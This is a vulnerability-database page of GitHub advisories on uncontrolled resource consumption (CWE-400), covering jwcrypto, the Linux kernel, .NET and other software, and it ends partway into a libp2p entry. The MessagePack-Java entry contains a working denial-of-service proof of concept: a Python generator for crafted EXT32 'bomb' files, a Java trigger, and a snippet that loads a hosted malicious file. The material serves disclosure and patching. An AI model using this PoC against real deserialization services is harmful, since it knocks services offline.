Common Weakness Enumeration
CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5666 vulnerabilities reference this CWE, most recent first.
GHSA-CW2R-4P82-QV79
Vulnerability from github – Published: 2023-12-28 16:36 – Updated: 2024-11-12 18:30
VLAI
Summary
DoS with algorithms that use PBKDF2 due to unbounded PBES2 Count value
Details
Impact
Denial of Service, Applications that allow the use of the PBKDF2 algorithm.
Patches
A patch is available that sets the maximum number of default rounds.
Workarounds
Applications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list. Applications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.
Acknowledgement
The issues was reported by Jingcheng Yang and Jianjun Chen from Sichuan University and Zhongguancun Lab
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "jwcrypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6681"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-28T16:36:59Z",
"nvd_published_at": "2024-02-12T14:15:08Z",
"severity": "MODERATE"
},
"details": "### Impact\nDenial of Service,\nApplications that allow the use of the PBKDF2 algorithm.\n\n### Patches\nA [patch](https://github.com/latchset/jwcrypto/commit/d2655d370586cb830e49acfb450f87598da60be8) is available that sets the maximum number of default rounds.\n\n### Workarounds\nApplications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list.\nApplications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.\n\n### Acknowledgement\nThe issues was reported by Jingcheng Yang and Jianjun Chen from Sichuan University\nand Zhongguancun Lab\n",
"id": "GHSA-cw2r-4p82-qv79",
"modified": "2024-11-12T18:30:50Z",
"published": "2023-12-28T16:36:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-cw2r-4p82-qv79"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6681"
},
{
"type": "WEB",
"url": "https://github.com/latchset/jwcrypto/commit/d2655d370586cb830e49acfb450f87598da60be8"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:3267"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:9281"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-6681"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260843"
},
{
"type": "PACKAGE",
"url": "https://github.com/latchset/jwcrypto"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jwcrypto/PYSEC-2024-104.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "DoS with algorithms that use PBKDF2 due to unbounded PBES2 Count value"
}
GHSA-CW39-R4H6-8J3X
Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59
VLAI
Summary
MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation
Details
Summary
Affected Components:
org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()
A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.
PoC
import msgpack
import struct
import os
OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)
# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)
length = 1
step = 10_000_000
while True:
try:
# EXT32: 0xC9 | length (4 bytes) | type (1 byte)
header = b'\xC9' + struct.pack(">I", length) + b'\x01'
payload = b'A' # actual data tiny
data = header + payload
fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
with open(fname, "wb") as f:
f.write(data)
print(f"[+] Generated EXT bomb with declared length={length}")
length += step
except Exception as e:
print("[!] Stopped:", e)
break
Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer
// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception {
byte[] data = Files.readAllBytes(
Paths.get("ext_length_470000001.msgpack")
);
MessageUnpacker unpacker =
MessagePack.newDefaultUnpacker(data);
ExtensionValue ext =
unpacker.unpackValue().asExtensionValue();
// Vulnerability trigger:
byte[] payload = ext.getData();
System.out.println(payload.length);
}
}
Compile
javac -cp msgpack-core-0.9.8.jar Main.java
Run (with limited heap)
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
Observed Result:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at org.msgpack.core.MessageUnpacker.readPayload(...)
at org.msgpack.core.MessageUnpacker.unpackValue(...)
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();
Run:
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.
Resolution
This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11
Impact
This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.msgpack:msgpack-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21452"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T14:59:12Z",
"nvd_published_at": "2026-01-02T21:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n try:\n # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n header = b\u0027\\xC9\u0027 + struct.pack(\"\u003eI\", length) + b\u0027\\x01\u0027\n payload = b\u0027A\u0027 # actual data tiny\n\n data = header + payload\n\n fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n with open(fname, \"wb\") as f:\n f.write(data)\n\n print(f\"[+] Generated EXT bomb with declared length={length}\")\n length += step\n\n except Exception as e:\n print(\"[!] Stopped:\", e)\n break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n public static void main(String[] args) throws Exception {\n\n byte[] data = Files.readAllBytes(\n Paths.get(\"ext_length_470000001.msgpack\")\n );\n\n MessageUnpacker unpacker =\n MessagePack.newDefaultUnpacker(data);\n\n ExtensionValue ext =\n unpacker.unpackValue().asExtensionValue();\n\n // Vulnerability trigger:\n byte[] payload = ext.getData();\n\n System.out.println(payload.length);\n }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n at org.msgpack.core.MessageUnpacker.readPayload(...)\n at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
"id": "GHSA-cw39-r4h6-8j3x",
"modified": "2026-01-05T14:59:12Z",
"published": "2026-01-05T14:59:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
},
{
"type": "PACKAGE",
"url": "https://github.com/msgpack/msgpack-java"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation"
}
GHSA-CW63-CPQX-9VX9
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:48
VLAI
Details
The bio_map_user_iov and bio_unmap_user functions in block/bio.c in the Linux kernel before 4.13.8 do unbalanced refcounting when a SCSI I/O vector has small consecutive buffers belonging to the same page. The bio_add_pc_page function merges them into one, but the page reference is never dropped. This causes a memory leak and possible system lockup (exploitable against the host OS by a guest OS user, if a SCSI disk is passed through to a virtual machine) due to an out-of-memory condition.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2017-12190"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-22T18:29:00Z",
"severity": "MODERATE"
},
"details": "The bio_map_user_iov and bio_unmap_user functions in block/bio.c in the Linux kernel before 4.13.8 do unbalanced refcounting when a SCSI I/O vector has small consecutive buffers belonging to the same page. The bio_add_pc_page function merges them into one, but the page reference is never dropped. This causes a memory leak and possible system lockup (exploitable against the host OS by a guest OS user, if a SCSI disk is passed through to a virtual machine) due to an out-of-memory condition.",
"id": "GHSA-cw63-cpqx-9vx9",
"modified": "2025-04-20T03:48:54Z",
"published": "2022-05-13T01:42:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12190"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/2b04e8f6bbb196cab4b232af0f8d48ff2c7a8058"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/95d78c28b5a85bacbc29b8dba7c04babb9b0d467"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3583-2"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3583-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3582-2"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3582-1"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K93472064?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K93472064?utm_source=f5support\u0026amp%3Butm_medium=RSS"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2017/12/msg00004.html"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1495089"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2017-12190"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1190"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1170"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1854"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1062"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0676"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0654"
},
{
"type": "WEB",
"url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2b04e8f6bbb196cab4b232af0f8d48ff2c7a8058"
},
{
"type": "WEB",
"url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=95d78c28b5a85bacbc29b8dba7c04babb9b0d467"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2017/q4/52"
},
{
"type": "WEB",
"url": "http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.8"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101911"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW6J-2V5X-F5M2
Vulnerability from github – Published: 2023-03-24 21:30 – Updated: 2023-03-29 15:30
VLAI
Details
Product: AndroidVersions: Android kernelAndroid ID: A-229255400References: N/A
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2023-21061"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-24T20:15:00Z",
"severity": "HIGH"
},
"details": "Product: AndroidVersions: Android kernelAndroid ID: A-229255400References: N/A",
"id": "GHSA-cw6j-2v5x-f5m2",
"modified": "2023-03-29T15:30:17Z",
"published": "2023-03-24T21:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21061"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2023-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW77-VCWG-RPHW
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31
VLAI
Details
Uncontrolled resource consumption for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.
Severity
5.7 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-26472"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T17:15:36Z",
"severity": "MODERATE"
},
"details": "Uncontrolled resource consumption for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.",
"id": "GHSA-cw77-vcwg-rphw",
"modified": "2025-08-12T18:31:29Z",
"published": "2025-08-12T18:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26472"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01317.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CW96-GRJ5-M243
Vulnerability from github – Published: 2023-05-12 00:30 – Updated: 2024-04-04 04:02
VLAI
Details
A vulnerability has been identified where a maliciously crafted message containing a specific chain of characters can cause the chat to enter a hot loop on one of the processes, consuming ~120% CPU and rendering the service unresponsive.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2023-28356"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-11T22:15:09Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified where a maliciously crafted message containing a specific chain of characters can cause the chat to enter a hot loop on one of the processes, consuming ~120% CPU and rendering the service unresponsive.",
"id": "GHSA-cw96-grj5-m243",
"modified": "2024-04-04T04:02:57Z",
"published": "2023-05-12T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28356"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1461340"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW98-9J8W-WXV9
Vulnerability from github – Published: 2022-10-21 20:32 – Updated: 2026-06-08 23:40
VLAI
Summary
.NET Denial of Service Vulnerability
Details
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 6.0, .NET 5.0, and .NET CORE 3.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
Microsoft is aware of a Denial of Service vulnerability, which exists in .NET 6.0, .NET 5.0, and .NET CORE 3.1 when parsing certain types of http form requests.
Affected Software
- Any .NET 6.0 application running on .NET 6.0.2 or lower
- Any .NET 5.0 application running on .NET 5.0.14 or lower
- Any .NET Core 3.1 application running on .NET Core 3.1.22 or lower
Patches
To fix the issue, please install the latest version of .NET 6.0 or .NET 5.0 or .NET Core 3.1.. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
-
If you're using .NET Core 6.0, you should download and install Runtime 6.0.3 or SDK 6.0.201 (for Visual Studio 2022 v17.1) from https://dotnet.microsoft.com/download/dotnet-core/6.0.
-
If you're using .NET 5.0, you should download and install Runtime 5.0.15 or SDK 5.0.406 (for Visual Studio 2019 v16.11) or SDK 5.0.212 (for Visual Studio 2011 v16.9) from https://dotnet.microsoft.com/download/dotnet-core/5.0.
-
If you're using .NET Core 3.1, you should download and install Runtime 3.1.23 or SDK 3.1.417 (for Visual Studio 2019 v16.7.26) from https://dotnet.microsoft.com/download/dotnet-core/5.0. .NET 6.0 and .NET 5.0 updates are also available from Microsoft Update. To access this either type "Check for updates" in your Windows search, or open Settings, choose Update & Security and then click Check for Updates.
.NET 6.0 and .NET 5.0 and, .NET Core 3.1 updates are also available from Microsoft Update. To access this either type "Check for updates" in your Windows search, or open Settings, choose Update & Security and then click Check for Updates.
Other Details
- Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/212
- An Issue for this can be found at https://github.com/dotnet/aspnetcore/issues/40598
- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/ CVE-2022-24464
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
},
"ranges": [
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}
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},
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},
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{
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"name": "Microsoft.AspNetCore.App.Runtime.win-x86"
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}
],
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}
]
}
],
"aliases": [
"CVE-2022-24464"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-21T20:32:34Z",
"nvd_published_at": "2022-03-09T17:15:00Z",
"severity": "HIGH"
},
"details": "Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 6.0, .NET 5.0, and .NET CORE 3.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nMicrosoft is aware of a Denial of Service vulnerability, which exists in .NET 6.0, .NET 5.0, and .NET CORE 3.1 when parsing certain types of http form requests.\n\n### Affected Software\n\n* Any .NET 6.0 application running on .NET 6.0.2 or lower\n* Any .NET 5.0 application running on .NET 5.0.14 or lower\n* Any .NET Core 3.1 application running on .NET Core 3.1.22 or lower \n\n### Patches\nTo fix the issue, please install the latest version of .NET 6.0 or .NET 5.0 or .NET Core 3.1.. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n\n* If you\u0027re using .NET Core 6.0, you should download and install Runtime 6.0.3 or SDK 6.0.201 (for Visual Studio 2022 v17.1) from https://dotnet.microsoft.com/download/dotnet-core/6.0.\n\n* If you\u0027re using .NET 5.0, you should download and install Runtime 5.0.15 or SDK 5.0.406 (for Visual Studio 2019 v16.11) or SDK 5.0.212 (for Visual Studio 2011 v16.9) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n\n* If you\u0027re using .NET Core 3.1, you should download and install Runtime 3.1.23 or SDK 3.1.417 (for Visual Studio 2019 v16.7.26) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n.NET 6.0 and .NET 5.0 updates are also available from Microsoft Update. To access this either type \"Check for updates\" in your Windows search, or open Settings, choose Update \u0026 Security and then click Check for Updates.\n\n.NET 6.0 and .NET 5.0 and, .NET Core 3.1 updates are also available from Microsoft Update. To access this either type \"Check for updates\" in your Windows search, or open Settings, choose Update \u0026 Security and then click Check for Updates.\n\n#### Other Details\n\n- Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/212\n- An Issue for this can be found at https://github.com/dotnet/aspnetcore/issues/40598\n- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/ CVE-2022-24464",
"id": "GHSA-cw98-9j8w-wxv9",
"modified": "2026-06-08T23:40:32Z",
"published": "2022-10-21T20:32:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-cw98-9j8w-wxv9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24464"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/212"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4TOGTZ2ZWDH662ZNFFSZVL3M5AJXV6JF"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CIJGCVKLHVNLFBTEYJGWS43QG5DYJFBL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQLM7ABVCYJLF6JRPF3M3EBXW63GNC27"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRGSPXMZY4RM2L35FYHCXBFROLC23B2V"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OS2Q4NPRSARP7GHLKFLIYHFOPSYDO6MK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZXEQ3GQVELA2T4HNZG7VPMS2HDVXMJRG"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24464"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-24464"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": ".NET Denial of Service Vulnerability"
}
GHSA-CW98-CX2M-9QQG
Vulnerability from github – Published: 2022-01-06 22:10 – Updated: 2022-01-07 17:53
VLAI
Summary
Denial of Service in ckb
Details
An issue was discovered in the ckb crate before 0.40.0 for Rust. Attackers can cause a denial of service (Nervos CKB blockchain node crash) via a dead call that is used as a DepGroup.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "ckb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.40.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-45700"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-05T23:44:51Z",
"nvd_published_at": "2021-12-27T00:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the ckb crate before 0.40.0 for Rust. Attackers can cause a denial of service (Nervos CKB blockchain node crash) via a dead call that is used as a DepGroup.",
"id": "GHSA-cw98-cx2m-9qqg",
"modified": "2022-01-07T17:53:19Z",
"published": "2022-01-06T22:10:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nervosnetwork/ckb/security/advisories/GHSA-45p7-c959-rgcm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45700"
},
{
"type": "PACKAGE",
"url": "https://github.com/nervosnetwork/ckb"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/ckb/RUSTSEC-2021-0109.md"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2021-0109.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service in ckb"
}
GHSA-CW99-F88J-FMM4
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31
VLAI
Details
Uncontrolled resource consumption in Windows Remote Desktop Services allows an unauthorized attacker to deny service over a network.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-53722"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T18:15:41Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption in Windows Remote Desktop Services allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-cw99-f88j-fmm4",
"modified": "2025-08-12T18:31:32Z",
"published": "2025-08-12T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53722"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53722"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWC9-CP4J-MCVV
Vulnerability from github – Published: 2026-07-10 16:04 – Updated: 2026-07-10 16:04
VLAI
Summary
libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays
Details
Summary
